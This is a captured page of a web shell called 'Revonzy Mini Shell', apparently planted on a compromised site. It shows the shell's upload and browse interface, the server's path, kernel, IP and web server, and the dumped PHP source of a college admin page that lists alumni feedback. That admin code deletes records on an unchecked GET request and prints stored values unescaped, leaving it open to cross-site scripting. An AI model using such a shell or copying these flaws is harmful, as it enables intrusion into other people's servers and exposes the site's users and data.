Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/kpmim.org/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/kpmim.org/admin/alumni-feedback-report.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$actual_image_name="";
	$success_msg = 0;
	$image_error="";
	$date_to = "";
	$date_from = "";
	$succ_flag="";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}

	if(isset($_GET['delete_id']))
	{
		 $del_id	=	$_GET['delete_id'];
		 $db->delete_alumni_feedback($del_id);
		 $success_msg	=	2;
	}
	if($date_to == "")
	{
		$date_to = Date("d-m-Y");
	}
	if($date_from == "")
	{
		$date_from = Date("d-m-Y");
	}
?>
<?php
	require_once('header.php');
?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Alumni Feedback Report</h1>
					<?php
					if($succ_flag == 1)
					{
					?>
						<div class="alert alert-success">

						Images Saved Successfully.
						</div>
					<?php
					}
					?>
					<?php
					if($success_msg == 2)
					{?>
					<div class="alert alert-danger">

					Images Deleted Successfully.
					</div>
					<?php
					}
					?>
					
                </div>
                
            </div>
                <?php
									if(isset($_POST['add_btn']))
									{
										$date_from		 = $_POST['date_from'];
										$date_to 	 	 = $_POST['date_to'];
									}
								
								
								?>
                                <form role="form" method="post" enctype="multipart/form-data">
									
                                    <div class="col-lg-3">
                                       <input class="form-control" placeholder="Enter From Date" name="date_from" type="text" id="datepicker" value="<?php echo $date_from; ?>" >
									</div>
									
									<div class="col-lg-3">
									    <input class="form-control" placeholder="Enter To Date" name="date_to" type="text" id="datepicker1" value="<?php echo $date_to; ?>" >
									</div>
							
									<div class="col-lg-3">
										<button type="submit" class="btn btn-success" name="add_btn">search</button>
									</div>
									
								</form>
							<br /><br /><br />
                <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                          Alumni Feedback Report
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                     <thead>
                                        <tr>
                                            <th width="20">Sr. No</th>
                                            <th>Name</th>
                                            <th>Email</th>
											<th>Contact No</th>
											<th>Passing Year</th>
											<th>Department</th>
                                            <th>Occupation</th>
											<th>Development Activities</th>
											<th>College Development</th>
											<th>Infrastructure</th>
											<th>Sports</th>
											<th>Teaching</th>
											<th>Student Counselling</th>
											<th>Library</th>
											<th>Communication</th>
											<th>Career</th>
											<th>Other Facilities</th>
											<th>Suggestion</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_alumni_feedback($date_from,$date_to);
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id					=	$report_details[$counter][0];
												$name				=	$report_details[$counter][1];
												$email				=	$report_details[$counter][2];
												$contact			=	$report_details[$counter][3];
												$passing_year		=	$report_details[$counter][4];
												$department			=	$report_details[$counter][5];
												$occupation			=	$report_details[$counter][6];
												$development_activities	=	$report_details[$counter][7];
												$clg_development		=	$report_details[$counter][8];
												$infrastructure		=	$report_details[$counter][9];
												$sports				=	$report_details[$counter][10];
												$teaching_learning	=	$report_details[$counter][11];
												$student_counselling=	$report_details[$counter][12];
												$library			=	$report_details[$counter][13];
												$communication		=	$report_details[$counter][14];
												$career				=	$report_details[$counter][15];
												$other_facilities	=	$report_details[$counter][16];
												$suggestion			=	$report_details[$counter][17];
												
												
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											  <td><?php echo $name; ?></td>
											  <td><?php echo $email; ?></td>
											  <td><?php echo $contact; ?></td>
											  <td><?php echo $passing_year; ?></td>
											  <td><?php echo $department; ?></td>
											  <td><?php echo $occupation; ?></td>
											  <td><?php echo $development_activities; ?></td>
											  <td><?php echo $clg_development; ?></td>
											  <td><?php echo $infrastructure; ?></td>
											  <td><?php echo $sports; ?></td>
											  <td><?php echo $teaching_learning; ?></td>
											  <td><?php echo $student_counselling; ?></td>
											  <td><?php echo $library; ?></td>
											  <td><?php echo $communication; ?></td>
											  <td><?php echo $career; ?></td>
											  <td><?php echo $other_facilities; ?></td>
											  <td><?php echo $suggestion; ?></td>
												  
											  <td><a href="alumni-feedback-report.php?delete_id=<?php echo $id;?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="22">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
             
                <!-- /.col-lg-6 -->
            </div>
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4